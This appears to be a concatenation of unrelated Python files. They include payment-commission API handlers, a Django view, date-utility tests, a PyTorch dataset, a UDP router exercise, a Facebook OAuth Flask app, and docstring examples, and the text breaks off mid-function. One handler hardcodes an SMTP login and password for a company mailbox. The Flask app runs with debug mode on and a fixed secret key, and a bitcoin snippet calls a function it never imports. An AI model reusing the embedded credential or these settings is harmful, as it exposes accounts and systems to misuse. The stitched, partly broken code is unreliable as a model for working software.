        for i in rows:
            coupon_dic.update({i['id']: {'title': i['title'], 'status': i['status'], 'ctime':i['ctime']}})
            union_cmn.update({i['id']: i['cmn_id']})

        cmn_ids = [i['cmn_id'] for i in rows]

        rows = db.select('commission_rules', fields='id, mchnt_rate',
                         where={'id': ('in', cmn_ids), 'status': 1})

        # 计算一个规则id对应的抽佣比例对照dict
        commission_rate_dic = dict()
        # if not rows:
        #     return {}
        for i in rows:
            commission_rate_dic.update({i['id']: i['mchnt_rate']})

        for k, v in union_cmn.iteritems():
            coupon_dic[k]['rate'] = commission_rate_dic.get(v, 0)

        return {
                    'coupon_dic': coupon_dic,  # 记录了红包id和title的信息 最后页面使用
                }

class CommissionSummary(BaseHandler):
    '''
    抽佣汇总接口
    '''

    fields = [
        Field('page', isnull=False),
        Field('pageSize', isnull=False),
    ]

    @check('login')
    def GET(self):
        try:
            params = self.req.inputjson()
            userid = self.user.userid

            try:
                page = int(params.get('page', 0))
                pagesize = int(params.get('pagesize', 10))
            except:
                log.debug(traceback.format_exc())
                return self.write(error(QFRET.PARAMERR, respmsg=u"分页参数错误"))

            union_activity = get_union_activty(userid)
            coupon_dic = union_activity.get('coupon_dic', {})
            all_actids = coupon_dic.keys()  # 这个id是activity_union表的id

            res = dict()
            res['total_num'] = 0
            res['total_amount'] = 0
            res['commission_amount'] = 0
            res['coupon_amount'] = 0
            res['count'] = 0
            res['is_activity'] = 0
            res['activitys'] = []

            if not all_actids:
                return self.write(success(data=res))

            else:
                # 再关联下activity表的id
                with get_connection('qf_marketing') as db:
                    rows = db.select('activity', fields='id, union_id',
                                     where={'union_id': ('in', all_actids)})
                if rows:
                    activity_ids = set()
                    # coupon_dic2 = dict()
                    # 增加一个变量记录下activity_id: union_id的对应关系
                    actid_union_dic = {}
                    for i in rows:
                        activity_ids.add(i['id'])
                        # coupon_dic2.update({i['id']: coupon_dic[i['union_id']]})
                        actid_union_dic.update({i['id']: i['union_id']})

                    where = {'xx_type': ACTIVITY_SHARE_TYPE_COUPON, 'activity_id': ('in', activity_ids),
                             'use_mchnt_id': userid, 'type': ('in', (RECORD_STATUS_USE, RECORD_STATUS_DESTROY))}

                    with get_connection_exception('qf_marketing') as conn:
                        rows = conn.select('record',
                                           fields='use_mchnt_id, activity_id, amt, (total_amt - amt) as payamt, type, out_sn, orig_out_sn',
                                           where=where)

                    # 先找出所有的origin_out_sn的数据,撤销交易要原单号
                    all_orig_out_sns = []
                    destory_trade = {}
                    for i in rows:
                        if i['type'] == 3:
                            all_orig_out_sns.append(i['orig_out_sn'])
                            destory_trade.update({i['orig_out_sn']: i})
                    temp = dict()
                    for i in all_actids:
                        temp.update({'{}'.format(i): {'trade_amount': 0,
                                 'commi_amount': 0,
                                 'trade_num': 0,
                                 'commi_rate': coupon_dic.get(int(i)).get('rate', 0),
                                 'actname': coupon_dic.get(int(i)).get('title', ''),
                                 'status':  0 if coupon_dic.get(int(i)).get('status', '') == 3 else 1,
                                 'ctime': coupon_dic.get(int(i)).get('ctime', ''),
                                 'actid': str(i),
                                 'coupon_amount': 0,
                                 }})
                    for i in rows:
                        if int(i['type']) == RECORD_STATUS_DESTROY:
                            continue
                        if i['out_sn'] in set(all_orig_out_sns):
                            continue
                        key = '{}'.format(actid_union_dic.get(i['activity_id']))

                        rate = coupon_dic.get(int(actid_union_dic.get(i['activity_id']))).get('rate')
                        res['total_num'] += 1
                        res['total_amount'] += int(i['payamt'])
                        res['coupon_amount'] += int(i['amt'])
                        temp[key]['trade_num'] += 1
                        temp[key]['trade_amount'] += int(i['payamt'])
                        temp[key]['coupon_amount'] += int(i['amt'])
                        fee = float(i['payamt']) * float(rate) / 100.0 / 100.0
                        fee = math.floor(fee * 100)
                        temp[key]['commi_amount'] += fee
                        res['commission_amount'] += fee

                    for k, v in temp.iteritems():
                        res['activitys'].append(v)
                    res['activitys'] = sorted(res['activitys'], key=itemgetter('status', 'ctime'), reverse=True)
                    res['count'] = len(res['activitys'])
                    start = page * pagesize
                    end = page * pagesize + pagesize
                    res['activitys'] = res['activitys'][start:end]
                    res['is_activity'] = 1
                    return self.write(success(data=res))

        except:
            log.warn('error :%s' % traceback.format_exc())
            return self.write(error(QFRET.SERVERERR, respmsg=u"服务错误"))

class CommissionDetail(BaseHandler):
    '''
    抽佣明细接口
    '''

    fields = [
        Field('act_id', isnull=False),
        Field('email', isnull=False),
    ]

    def get_activity_info(self, act_id):

        # 根据可用的规则id查找对应的红包活动关联的门店id
        with get_connection('qf_marketing') as db:
            where = {'type': ('in', (1, 2)), 'id': act_id,
                     'status': ('in', (ACT_ENABLED, ACT_CLOSED))}

            rows = db.select('activity_union', fields='id, title, cmn_id, status, ctime', where=where)
            # 转换为{红包id: {}}的格式
            coupon_dic = dict()
            # 找出union_id: cmn_id的对应关系
            union_cmn = dict()

            if not rows:
                return {}
            for i in rows:
                coupon_dic.update({i['id']: {'title': i['title'], 'status': i['status'], 'ctime':i['ctime']}})
                union_cmn.update({i['id']: i['cmn_id']})

            cmn_ids = [i['cmn_id'] for i in rows]

            rows = db.select('commission_rules', fields='id, mchnt_rate',
                             where={'id': ('in', cmn_ids), 'status': 1})

            # 计算一个规则id对应的抽佣比例对照dict
            commission_rate_dic = dict()
            # 有可能出现没有佣金规则的情况
            # if not rows:
            #     return {}
            for i in rows:
                commission_rate_dic.update({i['id']: i['mchnt_rate']})

            for k, v in union_cmn.iteritems():
                coupon_dic[k]['rate'] = commission_rate_dic.get(v, 0)

            return {
                        'coupon_dic': coupon_dic,  # 记录了红包id和title的信息 最后页面使用
                    }

    @check('login')
    def GET(self):
        try:
            params = self.req.inputjson()
            act_id = params.get('actid', '')
            email = params.get('email', '')
            userid = self.user.userid
            try:
                page = int(params.get('page', 0))
                pagesize = int(params.get('pagesize', 10))
            except:
                log.debug(traceback.format_exc())
                return self.write(error(QFRET.PARAMERR, respmsg=u"分页参数错误"))

            if not act_id:
                return self.write(error(QFRET.PARAMERR, respmsg='参数错误'))
            if email and not re.match(EMAIL_PATTERN, email):
                return self.write(error(QFRET.PARAMERR, respmsg='邮箱不合法'))

            union_activity = self.get_activity_info(act_id)
            coupon_dic = union_activity.get('coupon_dic', {})
            all_actids = coupon_dic.keys()  # 这个id是activity_union表的id

            res = dict()
            res['total_num'] = 0
            res['total_amount'] = 0
            res['commission_amount'] = 0
            res['coupon_amount'] = 0
            res['count'] = 0
            res['records'] = []

            try:
                userinfos = apcli_ex('findUserBriefsByIds', [int(userid),]) or []
            except:
                raise ThirdError('获取商户信息失败')

            userinfos = {i.uid: i.__dict__ for i in userinfos}

            # 再关联下activity表的id
            with get_connection('qf_marketing') as db:
                rows = db.select('activity', fields='id, union_id', where={'union_id': act_id})
            if rows:
                activity_ids = set()
                # coupon_dic2 = dict()
                # 增加一个变量记录下activity_id: union_id的对应关系
                actid_union_dic = {}
                for i in rows:
                    activity_ids.add(i['id'])
                    # coupon_dic2.update({i['id']: coupon_dic[i['union_id']]})
                    actid_union_dic.update({i['id']: i['union_id']})

                where = {
                    'xx_type': ACTIVITY_SHARE_TYPE_COUPON, 'activity_id': ('in', activity_ids),
                    'use_mchnt_id': userid, 'type': ('in', (RECORD_STATUS_USE, RECORD_STATUS_DESTROY))}

                with get_connection_exception('qf_marketing') as conn:
                    rows = conn.select('record',
                                       fields='amt, (total_amt - amt) as payamt, type, create_time, orig_out_sn, out_sn',
                                       where=where, other='order by create_time desc')

                # 先找出所有的origin_out_sn的数据,撤销交易要原单号
                all_orig_out_sns = []
                destory_trade = {}
                for i in rows:
                    if i['type'] == 3:
                        all_orig_out_sns.append(i['orig_out_sn'])
                        destory_trade.update({i['orig_out_sn']: i})

                rate = coupon_dic.get(int(act_id), {}).get('rate', 0)
                actname = coupon_dic.get(int(act_id), {}).get('title', '')
                shopname = userinfos.get(int(userid), {}).get('shopname', '')
                status = 0 if coupon_dic.get(int(act_id), {}).get('status', '') == 3 else 1
                for i in rows:
                    status = int(i['type'])
                    if status == RECORD_STATUS_DESTROY:
                        continue
                    if i['out_sn'] in set(all_orig_out_sns):
                        i = destory_trade.get(i['out_sn'])
                    temp = dict()
                    temp['actname'] = actname
                    temp['shopname'] = shopname
                    temp['commi_rate'] = rate
                    temp['trade_time'] = i['create_time'].strftime(DATETIME_FMT)
                    temp['syyn'] = str(i['orig_out_sn']) if i['orig_out_sn'] else str(i['out_sn'])
                    temp['trade_status'] = int(i['type'])

                    temp['trade_amount'] = i['payamt']
                    temp['coupon_amount'] = i['amt']
                    commi_amount, temp['commi_amount'] = 0, 0
                    if int(i['type']) == RECORD_STATUS_USE:
                        res['total_num'] += 1
                        commi_amount = float(i['payamt']) * float(rate) / 100.0 / 100.0
                        temp['commi_amount'] = math.floor(commi_amount * 100)
                        res['total_amount'] += i['payamt']
                        res['coupon_amount'] += i['amt']
                        res['commission_amount'] += temp['commi_amount']
                    res['records'].append(temp)

                res['status'] = status
                res['rate'] = rate
                res['actname'] = actname
                res['count'] = len(res['records'])

            if email:
                wb = xlwt.Workbook(encoding="utf-8")
                ws = wb.add_sheet("%s" % u'抽佣明细')
                head_remit = (u"交易门店", u'活动名称', u"交易时间", u"交易流水号", u"交易状态", u"交易金额/元",
                              u'抽佣比例', u"抽佣金额/元")
                for index, value in enumerate(head_remit):
                    ws.write(0, index, value)

                if res['records']:
                    for index, value in enumerate(res['records']):
                        ws.write(index+1, 0, value.get('shopname', ''))
                        ws.write(index+1, 1, value.get('actname', ''))
                        ws.write(index+1, 2, value.get('trade_time', ''))
                        ws.write(index+1, 3, value.get('syyn', 0))
                        ws.write(index+1, 4, re_trade_status(value.get('trade_status', 0)))
                        ws.write(index+1, 5, float('%.2f' % (value.get('trade_amount', 0) / 100.0)))
                        ws.write(index+1, 6, str(value.get('commi_rate', 0)) + '%')
                        ws.write(index+1, 7, float('%.2f' % (value.get('commi_amount', 0) / 100.0)))
                sio = StringIO.StringIO()
                wb.save(sio)
                #标题
                subject = unicode_to_utf8(actname)
                m = MailMessage(subject, 'service@qfpay.com', email, '')
                sio.seek(0)
                filename1 = '{}_抽佣明细.xls'.format(subject)
                m.append_data(sio.read(), attachname='=?utf-8?b?' + base64.b64encode(filename1) + '?=')
                sender = MailSender('smtp.exmail.qq.com', 'service@qfpay.com', 'Aa!@#$%^7')
                send_status = sender.send(m)
                if send_status:
                    log.info('send mail success, msg:mail to {}'.format(email))
                    return self.write(success({}))
                else:
                    log.info('send mail fail, msg:mail to {}'.format(email))
                    return self.write(error(QFRET.SERVERERR, respmsg=u"服务错误"))

            else:
                start = page * pagesize
                end = page * pagesize + pagesize
                res['records'] = res['records'][start: end]
                return self.write(success(data=res))
        except:
            log.warn('error :%s' % traceback.format_exc())
            return self.write(error(QFRET.SERVERERR, respmsg=u"服务错误"))


from django.shortcuts import render
from .models import user_session
from django.http import HttpResponse

# Create your views here.
def index(request):
    live_session = user_session.objects.all()
    return render(request, 'h5_mobile_live_main.html', {'live_session':live_session})

def iwantlive(request):
    return render(request, 'h5_mobile_live_wantlive.html', {})

def register(request):
    if request.method == "POST":
        room = user_session()
        roomname = request.POST['roomname']
        cover = request.FILES['image']
        room.title = roomname
        room.playCount = 998
        room.cover = cover
        room.save()

        return HttpResponse('upload ok!')
    else:
        return render(request, 'h5_mobile_live_wantlive.html',{})


import datetime as dt

from suncal.utils import aware_datetime_to_ical_date_with_utc_time
from suncal.utils import create_batches
from suncal.utils import date_range
from suncal.utils import time_range_of_date
from suncal.utils import tz_aware_dt

def test_time_range_of_date():
    date = dt.date(2023, 3, 14)
    timezone = 'Europe/Berlin'

    start = dt.datetime(2023, 3, 14, 0, 0, 0, 0)
    end = dt.datetime(2023, 3, 14, 23, 59, 59, int(1e6 - 1))

    s, e = time_range_of_date(date=date, timezone=timezone)

    assert s == tz_aware_dt(start, timezone)
    assert e == tz_aware_dt(end, timezone)

def test_date_range():
    # test transition between years
    from_date = dt.date(2020, 12, 30)
    to_date = dt.date(2021, 1, 2)

    out = [
        dt.date(2020, 12, 30),
        dt.date(2020, 12, 31),
        dt.date(2021, 1, 1),
        dt.date(2021, 1, 2),
    ]
    assert out == date_range(from_date, to_date)

    # check if leap years are accounted for
    from_date = dt.date(2024, 2, 28)
    to_date = dt.date(2024, 3, 1)

    out = [dt.date(2024, 2, 28), dt.date(2024, 2, 29), dt.date(2024, 3, 1)]
    assert out == date_range(from_date, to_date)

    # check that we get list of one date if from and to are the same
    from_date = dt.date(2020, 12, 30)
    to_date = dt.date(2020, 12, 30)

    out = [dt.date(2020, 12, 30)]
    assert out == date_range(from_date, to_date)

def test_create_timezone_aware_datetime():
    my_time = tz_aware_dt(
        dt.datetime(year=2021, month=4, day=17, hour=16, minute=30, second=0),
        timezone="Europe/Berlin",
    )
    assert isinstance(my_time, dt.datetime)
    assert my_time.year == 2021
    assert my_time.second == 0
    assert my_time.month == 4
    assert my_time.hour == 16
    # "CET" in daylight saving time: "CEST"
    assert my_time.tzname() == "CEST"
    # utc offset of 2h because of daylight saving time
    assert my_time.utcoffset() == dt.timedelta(seconds=7200)
    # daylight saving time adjustment of 1h
    assert my_time.dst() == dt.timedelta(seconds=3600)

def test_ical_datetime():
    # create datetime in Europe/Berlin and convert to ical format
    datetime_berlin = tz_aware_dt(
        dt.datetime(year=2021, month=4, day=17, hour=16, minute=30, second=0),
        timezone="Europe/Berlin",
    )

    ical_string = aware_datetime_to_ical_date_with_utc_time(datetime_berlin)
    assert ical_string == "20210417T143000Z"

    # create datetime in UTC and see check that the time is unaffected (only the format)
    datetime_utc = tz_aware_dt(
        dt.datetime(year=2021, month=4, day=17, hour=16, minute=30, second=0),
        timezone="UTC",
    )

    ical_string = aware_datetime_to_ical_date_with_utc_time(datetime_utc)
    assert ical_string == "20210417T163000Z"

def test_create_batches():
    mylist = list(range(0, 8))
    batches = create_batches(mylist, batch_size=3)

    assert batches == [[0, 1, 2], [3, 4, 5], [6, 7]]


import torch
import torchvision
import numpy as np
from torchvision.datasets.vision import VisionDataset
import os

class CLFM_Dataset(VisionDataset):
    """`CIFAR10 <https://www.cs.toronto.edu/~kriz/cifar.html>`_ Dataset.
    Args:
        root (string): Root directory of dataset where directory
            ``cifar-10-batches-py`` exists or will be saved to if download is set to True.
        train (bool, optional): If True, creates dataset from training set, otherwise
            creates from test set.
        transform (callable, optional): A function/transform that takes in an PIL image
            and returns a transformed version. E.g, ``transforms.RandomCrop``
        target_transform (callable, optional): A function/transform that takes in the
            target and transforms it.
        download (bool, optional): If true, downloads the dataset from the internet and
            puts it in root directory. If dataset is already downloaded, it is not
            downloaded again.
    """
    base_folder = 'data'

    def __init__(self, root, train=True, test=False, is_complex=False, transform=None, target_transform=None):
        super(CLFM_Dataset, self).__init__(root)

        self.train = train  # training set or test set
        self.test = test
        self.is_complex = is_complex

        self.data = []
        self.targets = []

        #file_path = os.path.join(self.root, self.base_folder, file_name)

        if self.train:
            # Load test, train, val, data
            with open('data/complex_dataset_10class_train.npy', 'rb') as f:
                self.data = np.load(f)
            with open('data/complex_dataset_10class_train_labels.npy', 'rb') as f:
                self.targets = np.load(f)
        else:
            # Load test, train, val, data
            with open('data/complex_dataset_10class_val.npy', 'rb') as f:
                self.data = np.load(f)
            with open('data/complex_dataset_10class_val_labels.npy', 'rb') as f:
                self.targets = np.load(f)
        if self.test:
            # Load test, train, val, data
            with open('data/complex_dataset_10class_val.npy', 'rb') as f:
                self.data = np.load(f)
            with open('data/complex_dataset_10class_test_labels.npy', 'rb') as f:
                self.targets = np.load(f)

        if self.is_complex:
            self.data = self.data.reshape(self.data.shape[0], -1) # [dataset, signal_len, 2] -> [dataset, signal_len*2]
            self.data = np.expand_dims(self.data, axis=1)
        else:
            self.data = self.data.transpose((0, 2, 1))  # convert to HWC

        class_type = "train" if self.train else "val"
        if self.test: class_type = "test"
        print("Dataset: {} - Data Shape: {}".format(class_type, self.data.shape))

    def __getitem__(self, index):
        """
        Args:
            index (int): Index
        Returns:
            tuple: (image, target) where target is index of the target class.
        """
        d, target = self.data[index], self.targets[index]

        return d, target

    def __len__(self):
        return len(self.data)

    def extra_repr(self):
        return "Split: {}".format("Train" if self.train is True else "Test")


from utilsIP import *
import socket
import sys
from collections import namedtuple
MAX_INT = 2**30
NULL = None
def tableLookup(table: list,ip:str,port: str)->tuple:
    # uses round robin to the lookup
    candidate = NULL
    for route in table:
        if route.canForward(ip,port):
            candidate = route
            break
    if candidate == NULL:
        raise Exception('No routes')
    ## Round Robin to the candidate found, put it on the bottom of the list
    table.remove(candidate)
    table.append(candidate)
    return (candidate.getIp_llegada(),candidate.getPuertollegada())
def main(args:list)->int:
    host = args[1]
    port = args[2]
    table = args[3]
    my_address = (host,int(port))
    my_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    my_socket.bind(my_address)
    DATA_SIZE = 16 * 1024
    tabla_ruteo = RouteParser.makeRouteTable(table)
    MTU = [{
        'src': 8881,
        'dest' : 8882,
        'MTU' : 300
    },
    {
        'src': 8882,
        'dest' : 8883,
        'MTU' : 300
    },
    {
        'src': 8883,
        'dest' : 8884,
        'MTU' : 100
    },
    {
        'src': 8884,
        'dest' : 8885,
        'MTU' : 200
    },
    {
        'src': 8883,
        'dest' : 8885,
        'MTU' : 300
    },
    ]
    while True:
        data_received,addr = my_socket.recvfrom(DATA_SIZE)
        if data_received:
            ip_packet = PacketParser.makePacketFromData(data_received)
            ip_packet.minusTTL()
            if ip_packet.getTTL() != 0:
                if ip_packet.getDestFinal() == host and ip_packet.getPortFinal() == port:
                    print(ip_packet.data)
                else:
                    print(len(ip_packet))
                    next_destination = tableLookup(tabla_ruteo,ip_packet.getDestFinal(),ip_packet.getPortFinal())
                    fast_forwarding = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                    fast_forwarding.sendto(ip_packet.createPacket(),next_destination)
if __name__ == "__main__":
    main(sys.argv)
## nc -u ip_router port_rocuter < archivo <<EOF
"""
Archivo puede ser del estilo:
Hola
Soy
Un ejemplo
EOF
"""


import argparse
import com.color as c
import os

class ARG_PARSE:

    def __init__(self):

        if os.name == 'nt':
            self.data_dir = 'D:/Scapis/Data'
        else:
            self.data_dir = '/media/igofed/DATA/SCAPIS_Processed_Data'

    def argParse(self):
        parser = argparse.ArgumentParser(
            description='''Scapis. This is an updatable software platform to integrate pseudo anonymized data and
            run selected GAN to generate medical images''',

            epilog="""All is well that ends well.""")
        parser.add_argument("-input",
                            "--input",
                            required=False,
                            type=str,
                            help='Path to pseudoanonimized dataset',
                            default=self.data_dir)

        parser.add_argument("-dataset",
                            "--dataset",
                            required=False,
                            type=str,
                            default="drli",
                            help='Type of the dataset')

        parser.add_argument("-out",
                            "--out",
                            required=False,
                            type=str,
                            help='Import directory')

        parser.add_argument("-r", "--r",
                            required=False,
                            type=int,
                            help='Setup resolution to rescale')

        parser.add_argument("-n", "--n",
                            required=False,
                            type=int,
                            help='number of images to generate using PCGAN')

        parser.add_argument("-gan_path", "--gan_path",
                            required=False,
                            type=str,
                            help='Path to the GAN results folder')

        parser.add_argument("-plot", "--plot",  action='store_true', required=False, help='Plot sample')

        args = parser.parse_args()
        print(c.COLOR.Blue + "-" * 100)

        print(c.COLOR.END)

        # if not os.path.exists(os.path.join(os.path.join(args.data_dir, args.dataset))):
        #    print(c.COLOR.Red + args.dataset + " is not existed" + c.COLOR.END)
        # sys.exit(0)
        return args


from torch import nn
import torch

class Model(nn.Module):
    def __init__(self) -> None:
        super().__init__()
        self.linear_relu = nn.Sequential(
            nn.Linear(4, 32),
            nn.ReLU(),
            nn.Linear(32, 3)
        )
    def forward(self, x):
        logits = self.linear_relu(x)
        return logits


def even_odd(*args):
    command = args[-1]
    number = 0 if command == "even" else 1
    num_list = []
    for index in range(len(args)-1):
        if args[index] % 2 == number:
            num_list.append(args[index])

    return num_list

print(even_odd(1, 2, 3, 4, 5, 6, "even"))
print(even_odd(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, "odd"))


from flask import Flask, redirect, url_for, session, request,send_file,render_template
from flask_oauthlib.client import OAuth, OAuthException
from PIL import Image
from io import BytesIO
import facebook as fb
import sys
import logging
import os
import requests
import base64

FACEBOOK_APP_ID = os.environ['FACEBOOK_APP_ID']
FACEBOOK_APP_SECRET = os.environ['FACEBOOK_APP_SECRET']

app = Flask(__name__)
app.logger.addHandler(logging.StreamHandler(sys.stdout))
app.logger.setLevel(logging.ERROR)
app.debug = True
app.secret_key = 'development'
oauth = OAuth(app)

facebook = oauth.remote_app(
    'facebook',
    consumer_key=FACEBOOK_APP_ID,
    consumer_secret=FACEBOOK_APP_SECRET,
    request_token_params={'scope': 'email'},
    base_url='https://graph.facebook.com',
    request_token_url=None,
    access_token_url='/oauth/access_token',
    access_token_method='GET',
    authorize_url='https://www.facebook.com/dialog/oauth'
)

def manipulate(url):
    i = Image.open(BytesIO(url.content))
    nn = Image.open('netneutrality.png')
    ii = i.copy()
    width,height = ii.size
    ii.paste(nn,(width-200,height-200),nn)
    byte_io = BytesIO()
    ii.save(byte_io, 'PNG')
    return send_file(byte_io, mimetype='image/png',attachment_filename="nnprofilepic.png",as_attachment=True),ii

@app.route('/')
def index():
    if 'oauth_token' in session:
        graph = fb.GraphAPI(access_token=session['oauth_token'][0], version='2.5')
        print(session['oauth_token'][0])
        profile_img = graph.get_object('me/picture?width=9999&redirect=false')['data']['url']
        name = graph.get_object('me')['name']
        r = requests.get(profile_img)
        ii = manipulate(r)[1]
        imgserve = BytesIO()
        ii.save(imgserve, 'PNG')
        imgserve.seek(0)
        img_tag = base64.b64encode(imgserve.getvalue()).decode()
        return render_template('result.html',imgsrc=img_tag,name = name ,url = r.url[8:])

    else:
        return render_template('index.html')

@app.route('/connect')
def login():
    callback = url_for(
        'facebook_authorized',
        next=request.args.get('next') or request.referrer or None,
        _external=True
    )
    return facebook.authorize(callback=callback)

@app.route('/login/authorized')
def facebook_authorized():
    resp = facebook.authorized_response()
    if resp is None:
        return 'Access denied: reason=%s error=%s' % (
            request.args['error_reason'],
            request.args['error_description']
        )
    if isinstance(resp, OAuthException):
        return 'Access denied: %s' % resp.message

    session['oauth_token'] = (resp['access_token'],'')
    return redirect('/')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@facebook.tokengetter
def get_facebook_oauth_token():
    return session.get('oauth_token')

if __name__ == '__main__':
    app.run()


from bitcoin_checker import is_valid_address

# use the is_valid_address function in your code

import bitcoin

# Wallet address to be checked
address = '1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2'

# Validate the wallet address
valid = bitcoin.validate_address(address)

if valid:
    print('The wallet address is valid.')
else:
    print('The wallet address is invalid.')


import logging

import coloredlogs

def get_logger(name="simplify", debug=False):
    """Create a colored logger.

    Debug messages are not displayed by default.
    Set up debug flag to True if you want to log all debug messages.

    # Get logger
    logger = get_logger(debug=True)

    # Some examples of usage:
    logger.debug("this is a debugging message")
    logger.info("this is an informational message")
    logger.warning("this is a warning message")
    logger.error("this is an error message")
    logger.critical("this is a critical message")
    """
    level_styles = dict(coloredlogs.DEFAULT_LEVEL_STYLES)
    coloredlogs.install(
        level=logging.DEBUG if debug else logging.INFO,
        logger=logging.getLogger(name),
        level_styles=level_styles,
        fmt="%(asctime)s|%(levelname)s|%(module)s:%(lineno)s|%(funcName)s(): %(message)s")
    return logging.getLogger(name)


"""
Item 84: Write Docstrings for Every Function, Class, and Module

Write documentation for every module, class, method, and function using docstrings.
Keep them up-to_date.
For modules introduce the content and any important classes or functions.
For classes document behavior, important attributes, and subclass behavior.
For functions and methods document every weakness, returned value, raised exceptions,
and other behaviors.
For type annotations, omit providing information in the docstring that is already in the annotations.

"""

#!/usr/bin/env PYTHONHASHSEED=1234 python3

# Reproduce book environment
import random
random.seed(1234)

import logging
from pprint import pprint
from sys import stdout as STDOUT

# Write all output to a temporary directory
import atexit
import gc
import io
import os
import tempfile

TEST_DIR = tempfile.TemporaryDirectory()
atexit.register(TEST_DIR.cleanup)

# Make sure Windows processes exit cleanly
OLD_CWD = os.getcwd()
atexit.register(lambda: os.chdir(OLD_CWD))
os.chdir(TEST_DIR.name)

def close_open_files():
    everything = gc.get_objects()
    for obj in everything:
        if isinstance(obj, io.IOBase):
            obj.close()

atexit.register(close_open_files)

# Example 1
def palindrome(word):
    """Return True if the given word is a palindrome."""
    return word == word[::-1]

assert palindrome('tacocat')
assert not palindrome('banana')

# Example 2
print(repr(palindrome.__doc__))

# Example 3
"""Library for finding linguistic patterns in words.
Testing how words relate to each other can be tricky sometimes!
This module provides easy ways to determine when words you've
found have special properties.
Available functions:
- palindrome: Determine if a word is a palindrome.
- check_anagram: Determine if two words are anagrams.
...
"""

# Example 4
class Player:
    """Represents a player of the game.
    Subclasses may override the 'tick' method to provide
    custom animations for the player's movement depending
    on their power level, etc.
    Public attributes:
    - power: Unused power-ups (float between 0 and 1).
    - coins: Coins found during the level (integer).
    """

# Example 5
import itertools
def find_anagrams(word, dictionary):
    """Find all anagrams for a word.
    This function only runs as fast as the test for
    membership in the 'dictionary' container.
    Args:
        word: String of the target word.
        dictionary: collections.abc.Container with all
            strings that are known to be actual words.
    Returns:
        List of anagrams that were found. Empty if
        none were found.
    """
    permutations = itertools.permutations(word, len(word))
    possible = (''.join(x) for x in permutations)
    found = {word for word in possible if word in dictionary}
    return list(found)

assert find_anagrams('pancakes', ['scanpeak']) == ['scanpeak']

# Example 6
# Check types in this file with: python -m mypy <path>
"""
from typing import Container, List

def find_anagrams(word: str,
                  dictionary: Container[str]) -> List[str]:
    pass
"""
# Example 7
# Check types in this file with: python -m mypy <path>

#from typing import Container, List

#def find_anagrams(word: str,
#                  dictionary: Container[str]) -> List[str]:
#    """Find all anagrams for a word.
#    This function only runs as fast as the test for
#    membership in the 'dictionary' container.
#    Args:
#        word: Target word.
#        dictionary: All known actual words.
#    Returns:
#        Anagrams that were found.
#    """
#    pass


import numpy as np

def cropDatesPlusOne(fday, lday, dates, data):
    """
    Crops the data and associated dates between **the day before fday** and lday.
    :param fday: First date ; must be 'year-month-day' format
    :param lday : Last date ; must be 'year-month-day' format or None
    :param dates : ndarray of shape (days,) of dates (object=dtype) for len(dates) = days
    :param data : ndarray of shape (days,) of integers and days == len(data)
    :return : cropDates: ndarray of shape (daysUpdated,) : dates between fday and lday where daysUpdated <= days
              cropData : ndarray of shape (daysUpdated,) : associated data for the same period
    """
    if fday is None:
        first = 0
    else:
        if fday < dates[1] or fday > dates[-1]:
            firstdateErr = ValueError("First day should be between " + dates[1] + " and " + dates[-1])
            raise firstdateErr
        else:
            first = np.argwhere(dates == fday)
            first = first[0, 0] - 1
    if lday is None:
        last = len(dates) - 1
    else:
        if lday < dates[1] or lday > dates[-1]:
            lastdateErr = ValueError("Last day should be between " + dates[1] + " and " + dates[-1])
            raise lastdateErr
        else:
            last = np.argwhere(dates == lday)
            last = last[0, 0]
    cropDates = dates[first:last + 1]
    cropData = data[first:last + 1]
    if fday is None:
        print("Warning : due to initialization and no previous infection counts before %s," % dates[0] +
              " data is exactly %d days long, not %d + 1" % (len(cropDates), len(cropDates)))
    return cropDates, cropData


# -*- coding: utf-8 -*-

"""
.. module:: utils.exceptions.py
   :platform: Unix
   :synopsis: Custom exceptions used in this module for better readability of code.

.. moduleauthor:: Mark Conway-Greenslade <momipsl@ipsl.jussieu.fr>

"""
from pyessv_ws.utils import constants

class WebServiceError(Exception):
    """Web service error wrapper.

    """
    def __init__(self, msg, response_code):
        """Instance constructor.

        """
        super(WebServiceError, self).__init__(msg)
        self.response_code = response_code

class RequestValidationException(WebServiceError):
    """Base class for request validation exceptions.

    """
    def __init__(self, msg):
        """Instance constructor.

        """
        super(RequestValidationException, self).__init__(msg, constants.HTTP_RESPONSE_BAD_REQUEST_ERROR)

class InvalidJSONError(RequestValidationException):
    """Raised if the submitted request data is invalid according to a JSON schema.

    """
    def __init__(self, json_err):
        """Instance constructor.

        """
        msg = json_err.message.strip()
        try:
            self.field = json_err.path[0]
        except Exception as err:
            self.field = msg.split("'")[1]
        super(InvalidJSONError, self).__init__(msg)

class UnknownEndpointException(WebServiceError):
    """Base class for unknown endpoint exceptions.

    """
    def __init__(self, msg):
        """Instance constructor.

        """
        super(UnknownEndpointException, self).__init__(msg, constants.HTTP_RESPONSE_BAD_REQUEST_ERROR)

class ConfigFileNotFoundException(WebServiceError):
    """Configuration file not found exception.

    """
    def __init__(self, path):
        """Instance constructor.

        """
        msg = "configuration file could not be found : {}".format(path)
        super(ConfigFileNotFoundException, self).__init__(msg, constants.HTTP_RESPONSE_SERVER_ERROR)

# Map of managed error codes.
ERROR_CODES = {
    InvalidJSONError: 900,
    ConfigFileNotFoundException: 901,
}


import gymnasium as gym
import numpy as np
import pygame

from bas import wrappers
from bas.render.constants import Colors
from bas.render.renderers.renderer import Renderer
from bas.wrappers.observation import components

class ObservationContainerWrapperRenderer(Renderer):
    """Renderer for drawing all components used in the `ObservationContainerWrapper`."""

    WRAPPER = wrappers.ObservationContainerWrapper

    def __init__(self, render_wrapper: "RenderWrapper", instance: gym.Wrapper):
        super().__init__(render_wrapper, instance)

        self._component_renderers = {
            components.SectionObservationComponent: self.render_section_observation_component,
            components.SectionVelocityObservationComponent: self.render_section_velocity_observation_component,
            components.SectionDistanceObservationComponent: self.render_section_distance_observation_component,
            components.SectionVelocityDistanceObservationComponent: self.render_section_velocity_distance_observation_component,
            components.TargetDirectionObservationComponent: self.render_target_direction_observation_component,
            components.TargetDirectionDistanceObservationComponent: self.render_target_direction_observation_component,
            components.AgentVelocityObservationComponent: self.render_agent_velocity_observation_component,
        }

    def render(self, canvas: pygame.Surface):
        """Distribute rendering of observation components to component renderers."""

        for component, observation in zip(
            self._components, self.cached_step.observation
        ):
            component_renderer = self._component_renderers.get(type(component))
            if component_renderer:
